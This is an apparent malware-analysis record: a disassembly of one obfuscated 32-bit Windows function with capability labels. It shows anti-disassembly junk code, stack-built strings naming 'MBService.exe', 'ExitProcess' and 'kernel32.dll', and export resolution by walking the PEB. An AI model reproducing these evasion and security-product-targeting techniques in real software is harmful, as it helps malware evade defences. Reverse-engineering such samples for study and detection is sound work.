Function at 0x406741
Capabilities:
Get number of processors
Resolve function by parsing pe exports

Disassembly:
add esp, 4
and ecx, 0xa862
xor ecx, 0x2b6c
pop ecx
push edx
and edx, 0x78aa
pop edx
mov eax, 0x4d
mov word [ebp - 0x1ef4], ax
mov ecx, 0x42
mov word [ebp - 0x1ef2], cx
mov edx, 0x53
mov word [ebp - 0x1ef0], dx
mov eax, 0x65
mov word [ebp - 0x1eee], ax
mov ecx, 0x72
mov word [ebp - 0x1eec], cx
mov edx, 0x76
mov word [ebp - 0x1eea], dx
mov eax, 0x69
mov word [ebp - 0x1ee8], ax
mov ecx, 0x63
mov word [ebp - 0x1ee6], cx
mov edx, 0x65
mov word [ebp - 0x1ee4], dx
mov eax, 0x2e
mov word [ebp - 0x1ee2], ax
mov ecx, 0x65
mov word [ebp - 0x1ee0], cx
mov edx, 0x78
mov word [ebp - 0x1ede], dx
mov eax, 0x65
mov word [ebp - 0x1edc], ax
xor ecx, ecx
mov word [ebp - 0x1eda], cx
mov dword [ebp - 0xfac], 1
push ecx
push edi
add esp, 4
call 0x401150
add byte [ebx + 0x3f], al
dec ebp
inc esi
dec esp
inc edx
dec ecx
dec ecx
add esp, 4
call 0x40115f
add byte [ecx + 0x4b], cl
cmp dword [ebx + 0x4f], ecx
inc edi
add esp, 4
or ecx, 0x4646
xor ecx, 0x7a5c
pop ecx
imul edx, dword [ebp - 0xfac], 0x138
add edx, 0x44f3644b
imul eax, dword [ebp - 0xfac], 0x138
sub edx, eax
xor edx, 0xabe912
imul edx, dword [ebp - 0xfac]
imul ecx, dword [ebp - 0xfac], 0x138
sub edx, ecx
mov dword [ebp - 0xfb0], edx
push edx
and edx, 0xf719
or edx, 0xcfb3
or edx, 0xd365
xor edx, 0xad6c
pop edx
push ecx
push eax
add esp, 4
sub ecx, 0xe2e0
and ecx, 0x455a
sub ecx, 0x46a3
pop ecx
mov dword [ebp - 0x10], 1
push esi
push ecx
add esp, 4
xor esi, 0xfc7e
sub esi, 0x47aa
pop esi
push esi
push ecx
add esp, 4
add esi, 0x12f7e
jmp 0x401208
and esi, 0x15ef2
or esi, 0xa88f
pop esi
imul edx, dword [ebp - 0x10], 0x138
add edx, 0x44f3644b
imul eax, dword [ebp - 0x10], 0x138
sub edx, eax
xor edx, 0x153c
imul edx, dword [ebp - 0x10]
imul ecx, dword [ebp - 0x10], 0x138
sub edx, ecx
mov dword [ebp - 0x14], edx
push ebx
call 0x401252
add byte [esi + 0x33], cl
dec esi
aas
dec edx
inc ecx
inc eax
xor esi, dword [edi]
add esp, 4
or ebx, 0x9f21
xor ebx, 0x49a
pop ebx
push edi
call 0x40126f
add byte [edx], dh
xor al, 0x4c
inc ecx
inc esi
add esp, 4
pop edi
push esi
add esi, 0x1431e
pop esi
push edi
sub edi, 0x16772
pop edi
push edi
jmp 0x40128d
call 0x40129b
add byte [eax], bh
dec eax
cmp esi, dword [0x36334843]
add esp, 4
jmp 0x4012a4
pop edi
mov dword [ebp - 0x2c], 1
push esi
push edx
add esp, 4
and esi, 0x16946
xor esi, 0xa8ee
pop esi
push edx
push esi
add esp, 4
sub edx, 0x7d16
sub edx, 0xa39b
pop edx
push edi
and edi, 0xdde6
or edi, 0xc8c6
pop edi
imul edx, dword [ebp - 0x2c], 0x138
add edx, 0x44f3644b
imul eax, dword [ebp - 0x2c], 0x138
sub edx, eax
xor edx, 0
imul edx, dword [ebp - 0x2c]
imul ecx, dword [ebp - 0x2c], 0x138
sub edx, ecx
mov dword [ebp - 0x30], edx
jmp 0x4014bf
mov ecx, dword [ebp - 0xfb0]
mov edx, dword [ebp - 0xfac]
mov dword [ebp - 0x152c], ecx
mov dword [ebp - 0x1528], edx
push edx
call 0x4014e8
add byte [ebx + 0x37], al
cmp eax, 0x3a4f3f3b
cmp byte ss:[ebx], bh
add esp, 4
call 0x4014f7
add byte [edx], dh
dec eax
inc eax
xor al, 0x4a
cmp eax, 0x5a04c483
push eax
jmp 0x401502
add eax, 0x12e8f
pop eax
push ebx
push ebx
add esp, 4
sub ebx, 0xcc8f
add ebx, 0x16e57
pop ebx
push edx
push esi
add esp, 4
xor edx, 0x14d
pop edx
push edx
call 0x401537
add byte [edi + 0x50], al
inc ebp
dec esi
aas
inc ecx
inc esp
cmp al, byte [ebp - 0x7d]
les eax, [edx + ebx*2]
mov eax, dword [ebp - 0x30]
add eax, 0x138
imul ecx, dword [ebp - 0x2c], 0x138
add ecx, 0x44f3644b
imul edx, dword [ebp - 0x2c], 0x138
sub ecx, edx
xor eax, ecx
imul eax, dword [ebp - 0x2c]
mov dword [ebp - 0x1d2c], eax
push edx
jmp 0x40156f
pop edx
push esi
call 0x401581
add byte [ebx], bh
dec ebp
cmp dword [eax], edi
inc ebx
inc ebp
inc ebp
inc eax
dec ecx
add esp, 4
pop esi
push esi
push edx
add esp, 4
and esi, 0x1aae
add esi, 0xdd67
pop esi
mov eax, dword [ebp - 0x152c]
add eax, 0x138
imul ecx, dword [ebp - 0x1528], 0x138
add ecx, 0x44f3644b
imul edx, dword [ebp - 0x1528], 0x138
sub ecx, edx
xor eax, ecx
imul eax, dword [ebp - 0x1528]
mov dword [ebp - 0x1d28], eax
mov eax, dword [ebp - 0x1d28]
mov dword [ebp - 0x1d30], eax
mov ecx, dword [ebp - 0x1d2c]
cmp ecx, dword [ebp - 0x1d30]
jae 0x4015f3
mov dword [ebp - 0x149c], 1
jmp 0x4015fd
mov dword [ebp - 0x149c], 0
mov dl, byte [ebp - 0x149c]
mov byte [ebp - 0x382], dl
movzx eax, byte [ebp - 0x382]
test eax, eax
je 0x404670
push esi
push edx
add esp, 4
jmp 0x401626
call 0x401634
add byte [0x363b4332], bh
dec edi
aas
cmp eax, dword [ebx - 0x197efb3c]
bound ecx, qword [esi + 0x535e0000]
push ecx
add esp, 4
jmp 0x401649
pop ebx
push ebx
xor ebx, 0xf0a5
jmp 0x40165a
jmp 0x401661
xor ebx, 0x12f82
pop ebx
push eax
sub eax, 0xc8f4
sub eax, 0x5340
or eax, 0xa38d
pop eax
mov ecx, dword [ebp - 0x30]
add ecx, 0x138
imul edx, dword [ebp - 0x2c], 0x138
add edx, 0x44f3644b
imul eax, dword [ebp - 0x2c], 0x138
sub edx, eax
xor ecx, edx
imul ecx, dword [ebp - 0x2c]
mov dword [ebp - 0x1d34], ecx
mov ecx, dword [ebp - 0x1d34]
mov dword [ebp - 0x1d38], ecx
cmp dword [ebp - 0x1d38], 0x63c1
jne 0x4017f7
push edx
push ecx
add esp, 4
sub edx, 0x156b4
jmp 0x4016d3
jmp 0x4016dc
add edx, 0x10bf7
pop edx
push ebx
push edi
add esp, 4
or ebx, 0x10dd9
sub ebx, 0x5680
pop ebx
mov edx, dword [ebp - 0x14]
add edx, 0x138
imul eax, dword [ebp - 0x10], 0x138
add eax, 0x44f3644b
imul ecx, dword [ebp - 0x10], 0x138
sub eax, ecx
xor edx, eax
imul edx, dword [ebp - 0x10]
mov dword [ebp - 0x1d3c], edx
mov edx, dword [ebp - 0x1d3c]
mov dword [ebp - 0x1d40], edx
mov eax, dword [ebp - 0x1d40]
sub eax, 0x898
mov dword [ebp - 0x1d44], eax
mov dword [ebp - 0xfb4], 1
push ebx
push eax
add esp, 4
add ebx, 0x16e53
xor ebx, 0x1248
and ebx, 0x17a7e
and ebx, 0x49c5
pop ebx
push ebx
and ebx, 0x14065
pop ebx
push edx
push edi
add esp, 4
or edx, 0x989f
pop edx
imul ecx, dword [ebp - 0xfb4], 0x138
add ecx, 0x44f3644b
imul edx, dword [ebp - 0xfb4], 0x138
sub ecx, edx
xor ecx, dword [ebp - 0x1d44]
imul ecx, dword [ebp - 0xfb4]
imul eax, dword [ebp - 0xfb4], 0x138
sub ecx, eax
mov dword [ebp - 0xfb8], ecx
mov ecx, dword [ebp - 0xfb8]
mov edx, dword [ebp - 0xfb4]
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x10], edx
push ecx
and ecx, 0x102b8
pop ecx
push eax
sub eax, 0xcadb
pop eax
push esi
push ecx
add esp, 4
call 0x4017e7
add byte [ecx], bh
cmp cl, byte [ecx + 0x36]
cmp dword ss:[ebx + eax*4], esi
les eax, [esi + ebx*2]
push ecx
push esi
add esp, 4
or ecx, 0xd64d
pop ecx
push edx
call 0x401806
add byte [esi], bh
cmp ecx, dword ss:[edx + 0x3b]
inc ebx
cmp al, 0x83
les eax, [ebx + ebp*8]
push es
dec esp
dec eax
dec edx
cmp byte [edx + 0x40], al
xor edx, 0xc15e
pop edx
push esi
xor esi, 0x101f4
jmp 0x401828
pop esi
mov eax, dword [ebp - 0x14]
add eax, 0x138
imul ecx, dword [ebp - 0x10], 0x138
add ecx, 0x44f3644b
imul edx, dword [ebp - 0x10], 0x138
sub ecx, edx
xor eax, ecx
imul eax, dword [ebp - 0x10]
mov dword [ebp - 0x1d48], eax
mov eax, dword [ebp - 0x1d48]
mov dword [ebp - 0x1db8], eax
lea ecx, [ebp - 0x928]
mov dword [ebp - 0x3bc], ecx
mov edx, dword [ebp - 0x3bc]
mov dword [edx + 4], 1
push eax
push edi
add esp, 4
or eax, 0xbe43
xor eax, 0x2ab7
add eax, 0x13ead
pop eax
push esi
sub esi, 0x16e16
pop esi
push edx
push ebx
add esp, 4
xor edx, 0xbf6f
xor edx, 0x1698b
pop edx
mov eax, dword [ebp - 0x3bc]
imul ecx, dword [eax + 4], 0x138
add ecx, 0x44f3644b
mov edx, dword [ebp - 0x3bc]
imul eax, dword [edx + 4], 0x138
sub ecx, eax
xor ecx, 0x23
mov edx, dword [ebp - 0x3bc]
imul ecx, dword [edx + 4]
mov eax, dword [ebp - 0x3bc]
imul edx, dword [eax + 4], 0x138
sub ecx, edx
mov eax, dword [ebp - 0x3bc]
mov dword [eax], ecx
mov ecx, dword [ebp - 0x3bc]
mov dword [ebp - 0x1f58], ecx
push edx
push ebx
add esp, 4
add edx, 0xe238
jmp 0x40190d
pop edx
push ebx
call 0x40191b
add byte [edi + 0x45], al
inc eax
inc edi
inc ebp
dec ebx
add esp, 4
call 0x40192a
add byte [ecx + 0x4d], cl
inc eax
xor eax, 0xc4834b3a
add al, 0x5b
mov dword [ebp - 0x14a4], 1
push ecx
push ecx
add esp, 4
or ecx, 0x6754
or ecx, 0xf585
xor ecx, 0xd420
pop ecx
push ecx
sub ecx, 0x141f5
and ecx, 0xeb4f
pop ecx
push ecx
push ebx
add esp, 4
sub ecx, 0x15c81
pop ecx
mov dword [ebp - 0x1f5c], 0x38
mov dword [ebp - 0x1f60], 0xe6
mov dword [ebp - 0x1f64], 0x6e
mov dword [ebp - 0x1f68], 0x6e
mov dword [ebp - 0x1f6c], 0x78
mov dword [ebp - 0x1530], 1
push esi
push eax
add esp, 4
sub esi, 0xd71b
call 0x4019c1
add byte [eax + 0x43], dl
dec ecx
push eax
inc edi
dec ebx
cmp dword [esi + ecx*2 + 0x4e], eax
add esp, 4
pop esi
push ebx
push eax
add esp, 4
xor ebx, 0xec40
jmp 0x4019d7
pop ebx
imul edx, dword [ebp - 0x1530], 0x138
add edx, 0x44f3644b
imul eax, dword [ebp - 0x1530], 0x138
sub edx, eax
xor edx, 0xe6
imul edx, dword [ebp - 0x1530]
imul ecx, dword [ebp - 0x1530], 0x138
sub edx, ecx
mov dword [ebp - 0x1534], edx
push esi
push eax
add esp, 4
xor esi, 0x6eac
add esi, 0x1251
add esi, 0x16cd9
pop esi
push edx
push edi
add esp, 4
jmp 0x401a38
or edx, 0x48cc
sub edx, 0x15db7
pop edx
push ecx
xor ecx, 0xb497
call 0x401a58
add byte [ebx], bh
inc esp
inc eax
inc esp
inc edi
xor al, byte [ebx - 0x3e7efb3c]
leave
aaa
add dword [eax], eax
pop ecx
push ecx
push ecx
add esp, 4
call 0x401a73
add byte [edx + 0x4d], cl
xor eax, dword [ebp + 0x38]
xor eax, dword [ebx - 0x74a6fb3c]
xchg ebp, eax
fdiv st(6)
invalid
mov dword [ebp - 0x3c0], 0
call 0x40467f
mov eax, 0x13379797
pop eax
mov dword [ebp - 0x3c0], eax
push edx
add edx, 0xb1a8
and edx, 0x649c
or edx, 0xf4fb
pop edx
push esi
push eax
add esp, 4
or esi, 0x14b72
xor esi, 0x161b9
pop esi
push ebx
push ebx
add esp, 4
sub ebx, 0xafab
pop ebx
mov ecx, dword [ebp - 0x1fa0]
mov dword [ebp - 0x14b8], ecx
push edx
or edx, 0xa381
xor edx, 0x1552f
pop edx
push ecx
call 0x4046e8
add byte [esi], dh
dec ebp
dec esi
inc ecx
inc esi
cmp al, 0x43
inc ebx
inc esp
dec edx
add esp, 4
add ecx, 0xe79c
jmp 0x4046fa
pop ecx
mov edx, dword [ebp - 0x14]
add edx, 0x138
imul eax, dword [ebp - 0x10], 0x138
add eax, 0x44f3644b
imul ecx, dword [ebp - 0x10], 0x138
sub eax, ecx
xor edx, eax
imul edx, dword [ebp - 0x10]
mov dword [ebp - 0x14b8], edx
mov edx, dword [ebp - 0x3c0]
mov dword [ebp - 0x1ef8], edx
mov eax, dword [ebp - 0x1ef8]
add eax, dword [ebp - 0x14b8]
mov dword [ebp - 0x3c0], eax
push esi
and esi, 0x17eda
pop esi
push eax
push ebx
add esp, 4
xor eax, 0x701a
pop eax
push edi
push eax
add esp, 4
add edi, 0x2e24
xor edi, 0x16e2e
pop edi
push ebx
push edi
add esp, 4
and ebx, 0x28b4
pop ebx
mov byte [ebp - 0xb78], 0x52
mov byte [ebp - 0xb77], 0xb9
mov byte [ebp - 0xb76], 0x10
mov byte [ebp - 0xb75], 0x10
mov byte [ebp - 0xb74], 0x10
mov byte [ebp - 0xb73], 0x10
mov byte [ebp - 0xb72], 0x5a
push eax
call 0x4047b6
add byte [ebp + 0x41], cl
xor cl, byte [ebx + 0x32]
cmp byte [ebx], bh
inc esi
xor al, 0x83
les eax, [ecx + eax*4]
call fcn.0040f1d9
xor eax, 0x4a48
xor eax, 0x12e14
pop eax
push esi
push esi
add esp, 4
or esi, 0xd95d
pop esi
mov byte [ebp - 0xb80], 0x52
mov byte [ebp - 0xb7f], 0xb9
mov byte [ebp - 0xb7e], 0x20
mov byte [ebp - 0xb7d], 0x20
mov byte [ebp - 0xb7c], 0x20
mov byte [ebp - 0xb7b], 0x20
mov byte [ebp - 0xb7a], 0x5a
push ecx
add ecx, 0xef7b
xor ecx, 0x10b54
pop ecx
push edi
push esi
add esp, 4
or edi, 0x7cf1
or edi, 0x15a14
pop edi
push eax
push eax
add esp, 4
and eax, 0x54a0
sub eax, 0x1926
pop eax
mov dword [ebp - 0x1fa4], 0xe
push esi
add esi, 0x9060
pop esi
push esi
push edi
add esp, 4
call 0x40485e
add byte [edi + 0x33], cl
aas
dec ebx
xor al, 0x50
add esp, 4
and esi, 0xee92
call 0x404873
add byte [0x4b414b3b], bh
dec ebp
add esp, 4
pop esi
mov ecx, 1
imul edx, ecx, 0
lea eax, [ebp + edx - 0xb78]
mov dword [ebp - 0x14bc], eax
push eax
push ebx
add esp, 4
call 0x40489d
add byte [ebx + 0x32], cl
dec eax
inc edi
xor eax, 0x4c48336
pop eax
push esi
push edi
add esp, 4
sub esi, 0x5547
call 0x4048ba
add byte [eax], bh
inc edi
aas
cmp cl, byte [edx + 0x42]
inc ebp
aas
add esp, 4
pop esi
mov dword [ebp - 0x1fa8], 0xffffffff
push eax
jmp 0x4048d0
jmp 0x4048d8
jmp 0x4048e1
pop eax
push esi
push eax
add esp, 4
and esi, 0x73e
xor esi, 0x5e0f
add esi, 0xd7a8
pop esi
mov ecx, dword [ebp - 0x3c0]
mov dword [ebp - 0x4cc], ecx
jmp 0x404917
mov edx, dword [ebp - 0x4cc]
add edx, 1
mov dword [ebp - 0x4cc], edx
push ebx
sub ebx, 0x2bee
pop ebx
push ecx
push esi
add esp, 4
sub ecx, 0x1806f
jmp 0x404930
call 0x40493f
add byte [edx + edi], bh
aaa
push eax
dec ebx
inc esi
inc ebx
xor al, byte [ebx + eax*4 - 0x3c]
add al, 0x81
rcl eax, 0x22
add byte [eax], al
pop ecx
mov eax, dword [ebp - 0x4cc]
sub eax, dword [ebp - 0x3c0]
cmp eax, 0xffffffff
jb 0x404991
push edx
add edx, 0x117a9
and edx, 0x10a52
sub edx, 0x17ca0
add edx, 0x9723
pop edx
push edx
push eax
add esp, 4
sub edx, 0x1341d
sub edx, 0x184ec
or edx, 0x5b59
pop edx
jmp 0x404bbf
mov dword [ebp - 0xc08], 7
mov ecx, dword [ebp - 0x4cc]
mov dword [ebp - 0xa68], ecx
push esi
add esi, 0xd20
and esi, 0x9f82
pop esi
push ebx
push ebx
add esp, 4
jmp 0x4049c1
and ebx, 0xcbeb
or ebx, 0x10c48
pop ebx
push eax
push eax
add esp, 4
jmp 0x4049d8
pop eax
mov edx, dword [ebp - 0x14bc]
mov dword [ebp - 0xa64], edx
mov dword [ebp - 0xc0c], 0
mov eax, dword [ebp - 0x4cc]
cmp eax, dword [ebp - 0x14bc]
jne 0x404a40
push eax
push esi
add esp, 4
call 0x404a12
add byte [eax], bh
inc edx
cmp al, 0x48
xor esi, dword [edi]
dec ecx
cmp cl, byte [ebx + 0x3c]
add esp, 4
call 0x404a25
add byte [esi + 0x4e], cl
xor eax, 0x50474544
inc edx
aas
dec edi
add esp, 4
add eax, 0x7cdb
pop eax
mov ecx, dword [ebp - 0xc0c]
mov dword [ebp - 0x14c4], ecx
jmp 0x404b71
cmp dword [ebp - 0xc08], 0
jle 0x404b65
push edi
push ebx
add esp, 4
call 0x404a5e
add byte [edx + 0x49], al
inc eax
dec ebx
inc ecx
inc esi
add esp, 4
call 0x404a6f
add byte [esi + 0x33], cl
cmp cl, byte [edi + 0x3f]
xor al, 0x47
dec eax
add esp, 4
xor edi, 0x91d9
add edi, 0x131c1
pop edi
mov edx, dword [ebp - 0xa68]
movzx eax, byte [edx]
mov ecx, dword [ebp - 0xa64]
movzx edx, byte [ecx]
cmp eax, edx
je 0x404b01
push ebx
push ecx
add esp, 4
call 0x404aa6
add byte [esi + 0x4a], cl
push eax
cmp dword [esi + 0x3b], ecx
add esp, 4
and ebx, 0x9151
add ebx, 0xb477
pop ebx
push eax
push ecx
add esp, 4
or eax, 0x61ad
jmp 0x404ac6
pop eax
mov eax, dword [ebp - 0xa68]
movzx ecx, byte [eax]
mov edx, dword [ebp - 0xa64]
movzx eax, byte [edx]
cmp ecx, eax
jle 0x404ae9
mov dword [ebp - 0x14c0], 1
jmp 0x404af3
mov dword [ebp - 0x14c0], 0xffffffff
mov ecx, dword [ebp - 0x14c0]
mov dword [ebp - 0xc0c], ecx
jmp 0x404b65
push ebx
push edi
add esp, 4
or ebx, 0xd48c
jmp 0x404b15
pop ebx
push edi
or edi, 0x6709
sub edi, 0x890
call 0x404b2f
add byte [edi], dh
push eax
dec eax
inc ebx
cmp dword [esi - 0x7d], eax
les eax, [edi + ebx*2]
mov edx, dword [ebp - 0xc08]
sub edx, 1
mov dword [ebp - 0xc08], edx
mov eax, dword [ebp - 0xa68]
add eax, 1
mov dword [ebp - 0xa68], eax
mov ecx, dword [ebp - 0xa64]
add ecx, 1
mov dword [ebp - 0xa64], ecx
jmp 0x404a40
mov edx, dword [ebp - 0xc0c]
mov dword [ebp - 0x14c4], edx
cmp dword [ebp - 0x14c4], 0
jne 0x404bba
push esi
xor esi, 0x15b89
and esi, 0x212a
or esi, 0x159b9
jmp 0x404b96
pop esi
push esi
call 0x404ba8
add byte [edi + esi], dh
dec edx
inc ebp
xor eax, 0x493b4f43
add esp, 4
pop esi
mov eax, dword [ebp - 0x4cc]
mov dword [ebp - 0x3cc], eax
jmp 0x404bfb
jmp 0x404908
push edi
push eax
add esp, 4
call 0x404bd3
add byte [edx + 0x47], cl
inc ebx
aaa
dec ecx
inc edi
inc ebp
cmp dword [ebx + 0x525f04c4], eax
xor edx, 0xd7cd
and edx, 0x1dbe
and edx, 0x10c2e
or edx, 0x8bbf
pop edx
mov dword [ebp - 0x3cc], 0
push edx
push ecx
add esp, 4
xor edx, 0x8f7
jmp 0x404c0f
sub edx, 0x7cc5
pop edx
push esi
push edx
add esp, 4
call 0x404c29
add byte [ecx + 0x4e], al
inc esi
cmp byte [eax], bh
inc eax
cmp byte [ebx - 0x7d], cl
les eax, [esi + ebx*2]
push ebx
push edx
add esp, 4
jmp 0x404c37
or ebx, 0x14d9e
pop ebx
push ebx
push esi
add esp, 4
jmp 0x404c4c
xor ebx, 0xe89e
pop ebx
push edx
push eax
add esp, 4
and edx, 0x169bd
pop edx
mov ecx, 1
imul edx, ecx, 0
lea eax, [ebp + edx - 0xb80]
mov dword [ebp - 0x14c8], eax
push edi
jmp 0x404c7c
jmp 0x404c85
xor edi, 0xf030
xor edi, 0xd4c1
pop edi
push ebx
push esi
add esp, 4
jmp 0x404c9f
or ebx, 0xbf2a
pop ebx
mov dword [ebp - 0x1fac], 0xffffffff
push edi
and edi, 0xf42f
sub edi, 0x96c7
jmp 0x404cc5
or edi, 0xb62
pop edi
push edi
or edi, 0x456d
pop edi
push edi
xor edi, 0x113ca
and edi, 0x180f8
pop edi
mov ecx, dword [ebp - 0x3c0]
mov dword [ebp - 0x4d0], ecx
jmp 0x404cff
mov edx, dword [ebp - 0x4d0]
add edx, 1
mov dword [ebp - 0x4d0], edx
push edi
push eax
add esp, 4
call 0x404d13
add byte [edx], dh
dec edi
dec edx
xor al, byte [edx + 0x4d]
dec eax
dec ebp
inc ebp
add esp, 4
pop edi
push esi
sub esi, 0xd32e
sub esi, 0x894d
or esi, 0x7f8d
sub esi, 0xc023
pop esi
mov eax, dword [ebp - 0x4d0]
sub eax, dword [ebp - 0x3c0]
cmp eax, 0xffffffff
jb 0x404d79
push eax
push esi
add esp, 4
or eax, 0x16dad
pop eax
push eax
call 0x404d5c
add byte [ebp + 0x3e], al
inc esi
cmp eax, 0xc4833932
add al, 0x81
loopne 0x404da7
hlt
mov dword [ebp - 0xc10], 7
mov ecx, dword [ebp - 0x4d0]
mov dword [ebp - 0xa60], ecx
push edx
push ecx
add esp, 4
and edx, 0x155df
or edx, 0x76c2
sub edx, 0x1366e
pop edx
push esi
sub esi, 0x4b41
jmp 0x404db4
or esi, 0x1e13
and esi, 0x15be
pop esi
mov edx, dword [ebp - 0x14c8]
mov dword [ebp - 0x9f0], edx
mov dword [ebp - 0xc14], 0
mov eax, dword [ebp - 0x4d0]
cmp eax, dword [ebp - 0x14c8]
jne 0x404e28
push ecx
or ecx, 0x7a69
or ecx, 0xca12
xor ecx, 0x5186
xor ecx, 0x673b
pop ecx
push esi
sub esi, 0x1eae
pop esi
push esi
or esi, 0x9d3d
jmp 0x404e16
pop esi
mov ecx, dword [ebp - 0xc14]
mov dword [ebp - 0x14d0], ecx
jmp 0x404f59
cmp dword [ebp - 0xc10], 0
jle 0x404f4d
push edi
and edi, 0xbd49
xor edi, 0x16cc5
xor edi, 0xfb8b
pop edi
push edx
push ebx
add esp, 4
sub edx, 0x14cdd
xor edx, 0x8ba7
xor edx, 0x1021
or edx, 0x2732
pop edx
mov edx, dword [ebp - 0xa60]
movzx eax, byte [edx]
mov ecx, dword [ebp - 0x9f0]
movzx edx, byte [ecx]
cmp eax, edx
je 0x404ee9
push eax
call 0x404e8e
add byte [0x434f4c4b], bh
inc edx
inc edi
inc ecx
inc edi
inc edi
add esp, 4
sub eax, 0xc517
pop eax
push eax
push ecx
add esp, 4
jmp 0x404ea2
add eax, 0x10f43
or eax, 0x7516
pop eax
mov eax, dword [ebp - 0xa60]
movzx ecx, byte [eax]
mov edx, dword [ebp - 0x9f0]
movzx eax, byte [edx]
cmp ecx, eax
jle 0x404ed1
mov dword [ebp - 0x14cc], 1
jmp 0x404edb
mov dword [ebp - 0x14cc], 0xffffffff
mov ecx, dword [ebp - 0x14cc]
mov dword [ebp - 0xc14], ecx
jmp 0x404f4d
push ebx
push edi
add esp, 4
add ebx, 0xb4fe
sub ebx, 0xdff9
sub ebx, 0x927d
pop ebx
push esi
and esi, 0x5bcd
sub esi, 0x9bca
add esi, 0xa47a
jmp 0x404f1a
pop esi
mov edx, dword [ebp - 0xc10]
sub edx, 1
mov dword [ebp - 0xc10], edx
mov eax, dword [ebp - 0xa60]
add eax, 1
mov dword [ebp - 0xa60], eax
mov ecx, dword [ebp - 0x9f0]
add ecx, 1
mov dword [ebp - 0x9f0], ecx
jmp 0x404e28
mov edx, dword [ebp - 0xc14]
mov dword [ebp - 0x14d0], edx
cmp dword [ebp - 0x14d0], 0
jne 0x404fa2
push eax
push eax
add esp, 4
add eax, 0xbd4e
sub eax, 0x15961
pop eax
push eax
push edx
add esp, 4
jmp 0x404f81
and eax, 0xaf9b
sub eax, 0x156bb
xor eax, 0x21dc
pop eax
mov eax, dword [ebp - 0x4d0]
mov dword [ebp - 0xa5c], eax
jmp 0x404fe3
jmp 0x404cf0
push edi
push ecx
add esp, 4
add edi, 0xffbc
add edi, 0x137f7
sub edi, 0x14527
or edi, 0xd5a5
pop edi
push edi
push ebx
add esp, 4
xor edi, 0x88d6
pop edi
push eax
xor eax, 0x2d9b
pop eax
mov byte [ebp - 0x804], 0x45
mov byte [ebp - 0x803], 0x78
mov byte [ebp - 0x802], 0x69
mov byte [ebp - 0x801], 0x74
mov byte [ebp - 0x800], 0x50
mov byte [ebp - 0x7ff], 0x72
mov byte [ebp - 0x7fe], 0x6f
mov byte [ebp - 0x7fd], 0x63
mov byte [ebp - 0x7fc], 0x65
mov byte [ebp - 0x7fb], 0x73
mov byte [ebp - 0x7fa], 0x73
mov byte [ebp - 0x7f9], 0
push ebx
sub ebx, 0x90f8
add ebx, 0x8406
pop ebx
push ecx
or ecx, 0x21b7
call 0x40508b
add byte [ecx + 0x3a], al
dec ebp
dec edi
dec ebp
dec ebx
xor al, byte [ebx - 0x3e7efb3c]
stc
push ebp
add byte [eax], al
and ecx, 0xb73
pop ecx
mov ecx, 0x6b
mov word [ebp - 0x1628], cx
mov edx, 0x65
mov word [ebp - 0x1626], dx
mov eax, 0x72
mov word [ebp - 0x1624], ax
mov ecx, 0x6e
mov word [ebp - 0x1622], cx
mov edx, 0x65
mov word [ebp - 0x1620], dx
mov eax, 0x6c
mov word [ebp - 0x161e], ax
mov ecx, 0x33
mov word [ebp - 0x161c], cx
mov edx, 0x32
mov word [ebp - 0x161a], dx
mov eax, 0x2e
mov word [ebp - 0x1618], ax
mov ecx, 0x64
mov word [ebp - 0x1616], cx
mov edx, 0x6c
mov word [ebp - 0x1614], dx
mov eax, 0x6c
mov word [ebp - 0x1612], ax
xor ecx, ecx
mov word [ebp - 0x1610], cx
push edi
push edi
add esp, 4
call 0x405148
add byte [0x3247463f], bh
inc ebp
inc esp
inc esp
inc ecx
add esp, 4
and edi, 0x12ed3
or edi, 0x1199c
pop edi
push eax
add eax, 0x8d
or eax, 0x4e7d
pop eax
push edi
add edi, 0xeb3d
add edi, 0x8716
pop edi
push ecx
xor ecx, 0xca1a
sub ecx, 0xc722
jmp 0x405189
pop ecx
push edx
and edx, 0x1229c
or edx, 0xae45
pop edx
mov edx, dword fs:[0x18]
mov dword [ebp - 0x1890], edx
mov eax, dword [ebp - 0x1890]
mov ecx, dword [eax + 0x30]
mov dword [ebp - 0x1894], ecx
mov edx, dword [ebp - 0x1894]
mov dword [ebp - 0x14d4], edx
push ecx
push ecx
add esp, 4
add ecx, 0x7ea8
and ecx, 0xd2a9
add ecx, 0x828b
pop ecx
push ebx
call 0x4051e6
add byte [esi + 0x3e], cl
inc ecx
cmp dword [ebx], esi
push eax
inc edi
add esp, 4
pop ebx
push edx
add edx, 0x8e88
pop edx
cmp dword [ebp - 0x14d4], 0
jne 0x40520a
mov dword [ebp - 0x2e0], 0
jmp 0x4054c6
mov eax, dword [ebp - 0x14d4]
mov ecx, dword [eax + 0xc]
mov edx, dword [ecx + 0xc]
mov dword [ebp - 0xc20], edx
push ecx
push edi
add esp, 4
and ecx, 0x15dbe
call 0x405234
add byte [esi + 0x3d], cl
xor eax, 0x48463739
add esp, 4
pop ecx
push ecx
jmp 0x405241
or ecx, 0x3b91
xor ecx, 0x15b32
pop ecx
cmp dword [ebp - 0xc20], 0
jne 0x405266
mov dword [ebp - 0x2e0], 0
jmp 0x4054c6
mov eax, dword [ebp - 0xc20]
mov dword [ebp - 0x4d4], eax
push eax
push esi
add esp, 4
jmp 0x40527e
sub eax, 0x15542
jmp 0x405289
and eax, 0xebb2
pop eax
push eax
and eax, 0xaa0e
or eax, 0xb9cf
sub eax, 0xaa75
pop eax
lea ecx, [ebp - 0x1628]
mov dword [ebp - 0xc1c], ecx
mov edx, dword [ebp - 0x4d4]
mov eax, dword [edx + 0x30]
mov dword [ebp - 0xc18], eax
xor ecx, ecx
mov word [ebp - 0x1f8], cx
xor edx, edx
mov word [ebp - 0x100], dx
push edi
push esi
add esp, 4
xor edi, 0x17a4c
pop edi
push esi
call 0x4052ea
add byte [0x4f413734], bh
dec ecx
add esp, 4
sub esi, 0x4834
call 0x4052ff
add byte [ebx + 0x32], al
xor al, 0x33
dec ebp
inc ebp
add esp, 4
pop esi
mov eax, dword [ebp - 0xc18]
mov cx, word [eax]
mov word [ebp - 0xf7e], cx
mov edx, dword [ebp - 0xc18]
add edx, 2
mov dword [ebp - 0xc18], edx
mov ax, word [ebp - 0xf7e]
mov word [ebp - 0x1f8], ax
mov ecx, dword [ebp - 0xc1c]
mov dx, word [ecx]
mov word [ebp - 0xf80], dx
mov eax, dword [ebp - 0xc1c]
add eax, 2
mov dword [ebp - 0xc1c], eax
mov cx, word [ebp - 0xf80]
mov word [ebp - 0x100], cx
push edi
or edi, 0x17716
add edi, 0x12648
or edi, 0xca38
xor edi, 0x120e8
pop edi
push esi
push esi
add esp, 4
and esi, 0xb66f
and esi, 0x9bfd
jmp 0x40538e
pop esi
